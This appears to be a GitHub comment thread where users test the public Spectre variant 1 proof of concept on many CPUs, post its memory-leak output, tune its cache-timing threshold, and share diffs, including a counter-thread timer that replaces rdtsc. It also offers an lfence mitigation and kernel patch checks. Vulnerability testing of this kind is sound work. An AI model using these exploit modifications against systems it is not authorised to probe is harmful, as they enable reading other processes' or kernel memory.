progman32 mentions that pentium4 is required for the rdtsc instruction, and indeed -march=pentium3 fails. What's the bare minimum set of capabilities/features needed?

kreon commented Jan 4, 2018

Arch, 4.14.5, i5-5250U works. Changed address to kernel space table and got address of sys_read.
OSX on the same CPU - works too.

w8rbt commented Jan 4, 2018

Maybe add a simple Makefile. Something like this:

CFLAGS = -std=c99
     
PROGRAM = spectre
SOURCE  = spectre.c
     
all: $(PROGRAM)
     
$(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE)
     
clean: ; rm -f $(PROGRAM)

i5-3230M CPU @ 2.60GHz
With fixes mentioned above.
gcc -std=c99 -O0 spectre.c -o spectre

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=7
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=11 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=13 (second best: 0x00 score=5)
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=11 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=13 (second best: 0x00 score=5)
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=9 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=31 (second best: 0x00 score=12)
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=51 (second best: 0x05 score=23)
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=2

DooMMasteR commented Jan 4, 2018

On my

processor	: 5
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor             
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 1400.000
cache size	: 2048 KB
physical id	: 0
siblings	: 6

It works with a CACHE_HIT_THRESHOLD of >=130 lower values will get less and below 115 no good bytes at all.

Symbian9 commented Jan 4, 2018

UPD: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2311002

Its look like with additional patches from https://www.linux.org.ru/news/security/13934697?cid=13935709

  • #define CACHE_HIT_THRESHOLD (80) -> #define CACHE_HIT_THRESHOLD (100)
  • time1 = __rdtscp( & junk); -> time1 = __rdtsc();
  • time2 = __rdtscp( & junk) - time1; -> time2 = __rdtsc() - time1;

This PoC also reproduced on 64-bit Intel(R) Pentium(R) Dual CPU T2330, but with some incorrect characters

$ gcc -march=native -std=c99 -O0 spectre.c -o spectre
$ gcc -march=native -std=c99 -O0 spectre.c -o spectre
mint@mx1:~/CVE-PoC
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed48... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfed49... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed4a... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed4b... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed4c... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed4d... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed4e... Success: 0x67=’g’ score=1 
Reading at malicious_x = 0xffffffffffdfed4f... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed50... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfed51... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed52... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfed53... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed54... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed55... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed56... Success: 0x73=’s’ score=1 
Reading at malicious_x = 0xffffffffffdfed57... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfed58... Success: 0x61=’a’ score=1 
Reading at malicious_x = 0xffffffffffdfed59... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5a... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5b... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5c... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5d... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5e... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed5f... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed60... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed61... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed62... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed63... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfed64... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed65... Success: 0x20=’ ’ score=1 
Reading at malicious_x = 0xffffffffffdfed66... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed67... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed68... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed69... Success: 0x69=’i’ score=1 
Reading at malicious_x = 0xffffffffffdfed6a... Success: 0x66=’f’ score=1 
Reading at malicious_x = 0xffffffffffdfed6b... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed6c... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed6d... Success: 0x67=’g’ score=1 
Reading at malicious_x = 0xffffffffffdfed6e... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfed6f... Success: 0xFF=’?’ score=0 

Sadly, but Intel(R) Pentium(R) Dual CPU T2330 also not secured...

tista3 commented Jan 4, 2018

Ubuntu 17.10
model name : Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz
gcc -std=c99 -O0 spectre.c -o spectre

???

SUCCESS!!

./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=23 (second best: 0x05 score=9)
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedfb... Unclear: 0x20=’ ’ score=181 (second best: 0x00 score=93)
Reading at malicious_x = 0xffffffffffdfedfc... Unclear: 0x4D=’M’ score=7 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdfedfd... Unclear: 0x61=’a’ score=55 (second best: 0x00 score=28)
Reading at malicious_x = 0xffffffffffdfedfe... Unclear: 0x67=’g’ score=11 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=7 (second best: 0x01 score=1)
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=31 (second best: 0x00 score=8)
Reading at malicious_x = 0xffffffffffdfee03... Unclear: 0x6F=’o’ score=7 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=15
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Unclear: 0x73=’s’ score=9 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee08... Unclear: 0x61=’a’ score=21 (second best: 0x00 score=13)
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=23 (second best: 0x00 score=12)
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=13 (second best: 0x05 score=4)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x71=’q’ score=27 (second best: 0x00 score=14)
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65=’e’ score=17 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=11 (second best: 0x05 score=3)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x6D=’m’ score=11 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x73=’s’ score=11 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68=’h’ score=17 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdfee15... Unclear: 0x20=’ ’ score=11 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F=’O’ score=45 (second best: 0x00 score=17)
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=47 (second best: 0x05 score=21)
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69=’i’ score=31 (second best: 0x00 score=8)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x66=’f’ score=7 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E=’.’ score=2

lasse-kristensen commented Jan 4, 2018

I just updated a Centos 7 server with the new kernel 3.10.0-693.11.6.el7.x86_64, but i still get "The Magic Words", is that intended?

Debian 4.14.11 (patched for Meltdown), Xeon E5-1660, CACHE_HIT_THRESHOLD (30), gcc 7.2.0-18
gcc -std=c99 -O0 spectre.c -o spectre (with -O3 it didn't work)

spartanthe commented Jan 4, 2018

Just to verify it's not fake, at Line 130: printf("Reading %d bytes:\n", len); in debugger Interactive

malicious_x,h
0xffffffffffffdba0
*((char*)malicious_x)
<Unable to read memory>

OK, then continue run:

Reading 40 bytes:
Reading at malicious_x = FFFFFFFFFFFFDBA0... Success: 0x54='T' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA1... Success: 0x68='h' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA2... Success: 0x65='e' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA3... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA4... Success: 0x4D='M' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA5... Success: 0x61='a' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA6... Success: 0x67='g' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA7... Success: 0x69='i' score=2
Reading at malicious_x = FFFFFFFFFFFFDBA8... Success: 0x63='c' score=2

Vulnerable: Intel Core i7-5600U CPU @ 2.60GHz, Win10x64

ykanello commented Jan 4, 2018

So far has worked for me on:
I5-760 (Macbook-OSX-10.13.2)
AMD A4-7300 (Ubuntu 16.04.3 LTS)
Intel(R) Xeon(R) CPU E5-2650 (Debian GNU/Linux 8)
Intel(R) Xeon(R) CPU E5-2690 (RH 7)
I5-760 (FreeBSD 11.1-RELEASE)

(I had to change buffer sizes and play with some syntax to make it compile in all the above mentioned systems but basically is the same code)

klugemonkey commented Jan 4, 2018

Kernel patch for KPTI is only applicable to Meltdown, not Spectre. Use dmesg | grep "isolation" to see if your kernel is patched.
Should report like [ 0.000000] Kernel/User page tables isolation: enabled
Also, cat /proc/cpuinfo will report bugs: cpu_insecure
The kernel flag is CONFIG_PAGE_TABLE_ISOLATION and will show up in menuconfig as the 'Remove the kernel mapping in user mode' option under Security

klugemonkey commented Jan 4, 2018

Still can't seem to get it to work on Xeon E5-2690 v2 that is reported by OpenVZ (kernel 2.6.32). Not sure if being a virtualized CPU skews the timings or if it's just not working with my gcc 4.9.2. Seems like it gets a few characters sometimes.

LionsAd commented Jan 4, 2018

I needed the following patch, but then works fine on Mac OS X.

--- spectre.c.old	2018-01-04 15:13:32.000000000 +0100
+++ spectre.c	2018-01-04 15:11:45.000000000 +0100
@@ -47,12 +47,13 @@
 /********************************************************************
 Analysis code
 ********************************************************************/
-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
 
 /* Report best guess in value[0] and runner-up in value[1] */
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];
-  int tries, i, j, k, mix_i, junk = 0;
+  int tries, i, j, k, mix_i;
+  unsigned int junk = 0;
   size_t training_x, x;
   register uint64_t time1, time2;
   volatile uint8_t * addr;
@@ -133,7 +134,7 @@
     readMemoryByte(malicious_x++, value, score);
     printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
     printf("0x%02X=’%c’ score=%d ", value[0],
-      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
     if (score[1] > 0)
       printf("(second best: 0x%02X score=%d)", value[1], score[1]);
     printf("\n");

romansavrulin commented Jan 4, 2018

Works on macbook 12

Intel(R) Core(TM) M-5Y31 CPU @ 0.90GHz
rs$ ./0
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=976 (second best: 0x02 score=866)
Reading at malicious_x = 0xfffffffffffffeb7... Unclear: 0x68=’h’ score=892 (second best: 0x02 score=827)
Reading at malicious_x = 0xfffffffffffffeb8... Unclear: 0x65=’e’ score=951 (second best: 0x02 score=821)
Reading at malicious_x = 0xfffffffffffffeb9... Unclear: 0x20=’ ’ score=963 (second best: 0x02 score=793)
Reading at malicious_x = 0xfffffffffffffeba... Unclear: 0x4D=’M’ score=960 (second best: 0x02 score=807)
Reading at malicious_x = 0xfffffffffffffebb... Unclear: 0x61=’a’ score=962 (second best: 0x02 score=742)
Reading at malicious_x = 0xfffffffffffffebc... Unclear: 0x67=’g’ score=992 (second best: 0x02 score=821)
Reading at malicious_x = 0xfffffffffffffebd... Unclear: 0x69=’i’ score=845 (second best: 0x02 score=810)
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x63=’c’ score=976 (second best: 0x02 score=813)
Reading at malicious_x = 0xfffffffffffffebf... Success: 0x20=’ ’ score=41 (second best: 0x02 score=18)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x57=’W’ score=952 (second best: 0x02 score=667)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x6F=’o’ score=775 (second best: 0x02 score=666)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=989 (second best: 0x02 score=808)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x64=’d’ score=957 (second best: 0x02 score=760)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x73=’s’ score=990 (second best: 0x02 score=748)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=945 (second best: 0x02 score=776)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=972 (second best: 0x02 score=855)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=987 (second best: 0x02 score=836)
Reading at malicious_x = 0xfffffffffffffec8... Success: 0x65=’e’ score=43 (second best: 0x02 score=19)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=975 (second best: 0x02 score=803)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x53=’S’ score=987 (second best: 0x02 score=844)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x71=’q’ score=830 (second best: 0x02 score=562)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x75=’u’ score=839 (second best: 0x02 score=625)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x65=’e’ score=897 (second best: 0x00 score=660)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=980 (second best: 0x00 score=731)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x6D=’m’ score=779 (second best: 0x00 score=555)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x69=’i’ score=857 (second best: 0x00 score=689)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x73=’s’ score=981 (second best: 0x02 score=531)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x68=’h’ score=779 (second best: 0x00 score=571)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x20=’ ’ score=948 (second best: 0x02 score=561)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x4F=’O’ score=958 (second best: 0x00 score=497)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x73=’s’ score=978 (second best: 0x02 score=717)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x73=’s’ score=979 (second best: 0x02 score=735)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x69=’i’ score=851 (second best: 0x02 score=680)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x66=’f’ score=928 (second best: 0x02 score=750)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x72=’r’ score=991 (second best: 0x02 score=814)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x61=’a’ score=968 (second best: 0x02 score=716)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x67=’g’ score=992 (second best: 0x02 score=739)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x65=’e’ score=978 (second best: 0x02 score=781)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x2E=’.’ score=967 (second best: 0x02 score=739)

hyc commented Jan 4, 2018

No success on my Q9300. gcc 5.4.0, Linux 4.4.0 (Ubuntu)

jedisct1 commented Jan 4, 2018

It works on Google Cloud shell. Was it expected?

LionsAd commented Jan 4, 2018

I got it to work without rdtsc but just with a counter thread (like in the webworker example in JS):

--- spectre.c	2018-01-04 15:30:03.000000000 +0100
+++ spectre-thread.c	2018-01-04 15:59:48.000000000 +0100
@@ -1,6 +1,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <stdint.h>
+#include <pthread.h>
+
 #ifdef _MSC_VER
 #include <intrin.h> /* for rdtscp and clflush */
 #pragma optimize("gt",on)
@@ -45,6 +47,22 @@
 }
 
 /********************************************************************
+Thread code
+********************************************************************/
+int counter_thread_ended = 0;
+uint32_t counter = 0;
+
+void *counter_function(void *x_void_ptr)
+{
+  while (!counter_thread_ended) {
+    counter++;
+  }
+
+  printf("counter thread finished\n");
+  return NULL;
+}
+
+/********************************************************************
 Analysis code
 ********************************************************************/
 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
@@ -87,9 +105,9 @@
     for (i = 0; i < 256; i++) {
       mix_i = ((i * 167) + 13) & 255;
       addr = & array2[mix_i * 512];
-      time1 = __rdtscp( & junk); /* READ TIMER */
+      time1 = counter; /* READ TIMER */
       junk = * addr; /* MEMORY ACCESS TO TIME */
-      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
+      time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
       if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
         results[mix_i]++; /* cache hit - add +1 to score for this value */
     }
@@ -120,6 +138,15 @@
   int i, score[2], len = 40;
   uint8_t value[2];
 
+  // Setup the counter thread.
+  pthread_t counter_thread;
+
+  if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
+    fprintf(stderr, "Error creating thread\n");
+    return 1;
+  }
+  // End Setup
+
   for (i = 0; i < sizeof(array2); i++)
     array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
   if (argc == 3) {
@@ -139,5 +166,14 @@
       printf("(second best: 0x%02X score=%d)", value[1], score[1]);
     printf("\n");
   }
+
+  // Start: Exit counter thread
+  counter_thread_ended = 1;
+  if (pthread_join(counter_thread, NULL)) {
+    fprintf(stderr, "Error joining thread\n");
+    return 2;
+  }
+  // End: Exit counter thread
+
   return (0);
 }

The accuracy obviously varies a little, but I can get the right result in most runs.

That means this can now be also tested on non-mobile Pentium I, II and III ...

LionsAd commented Jan 4, 2018

@i336 I just posted a version using only threads and no rdtsc instruction, so it should work on all processors that have dynamic branch prediction.

C37H40O9 commented Jan 4, 2018

openSUSE Leap 42.3 with patch
kernel 4.4.103-36-default
AMD FX-8350
#define CACHE_HIT_THRESHOLD (80) -> #define CACHE_HIT_THRESHOLD (150)
gcc -std=c99 -O0 spectre.c -o spectre
Worked.

hyc commented Jan 4, 2018

@LionsAd no success on my Q9300 with this version either.

KeT4yn commented Jan 4, 2018

Can you drop here compiled win application to test?

diimdeep commented Jan 4, 2018

ARM anyone ?

heeen commented Jan 4, 2018

Works on AMD Ryzen Threadripper 1950X 16-Core Processor

LionsAd commented Jan 4, 2018

@hyc Can you post your output, please?

I also added statistics, which you could run and put in pastebin here:

https://gist.github.com/LionsAd/5116c9cd37f5805c797ed16fafbe93e4

BTW, who can explain me how this piece of code works?

/* Convert input value into a pointer (???)*/
size_t makeLongPointer(void* ptr) {
	return (size_t)ptr - (size_t)array1;
}

LionsAd commented Jan 4, 2018

I have trouble with the threaded code to get a clear result, but unclear still works fine. However the 0x00 and 0x01 location in array2 seem to be sometimes cached or at least have significantly lower access times as the other ones (Mac OS X).

aburlak commented Jan 4, 2018

Mitigating against this:

void victim_function(size_t x) {
  if (x < array1_size) {
    _mm_lfence();
    temp &= array2[array1[x] * 512];
  }
}

It's important that _mm_lfence is after the bounds check, but before data access.
It looks like this particular case will never be "fixed" by CPU vendors (there is no context switch, and disabling out-of-order execution and/or caching would be hideously slow).
So, it's a job of compiler writers to add such checks whenever "trusted" code deals with parameters passed by "untrusted" code within the same process boundary (such as when interpreting JavaScript in a Web browser).

Results on Intel(R) Atom(TM) CPU C3558

Reading at malicious_x = 0xffffffffffdffb20... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffb21... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb22... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb23... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb24... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffb25... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb26... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb27... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb28... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdffb29... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb2a... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffb2b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffb2c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb2d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdffb2e... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb2f... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb30... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb31... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb32... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb33... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb34... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffb35... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdffb36... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffb37... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb38... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb39... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdffb3a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb3b... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb3c... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb3d... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb3e... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffb3f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb40... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb41... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb42... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffb43... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb44... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb45... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb46... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb47... Success: 0x2E=’.’ score=2

ktdd commented Jan 4, 2018

Two debian servers I run:

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff898... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdff899... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdff89a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdff89b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff89c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdff89d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff89e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdff89f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff8a0... Success: 0x63=’c’ score=2

etc

Windows 10 Insider 17063:

Reading 40 bytes:
Reading at malicious_x = FFFFDB28... Success: 0x54=ÆTÆ score=2
Reading at malicious_x = FFFFDB29... Success: 0x68=ÆhÆ score=2
Reading at malicious_x = FFFFDB2A... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFFDB2B... Success: 0x20=Æ Æ score=2
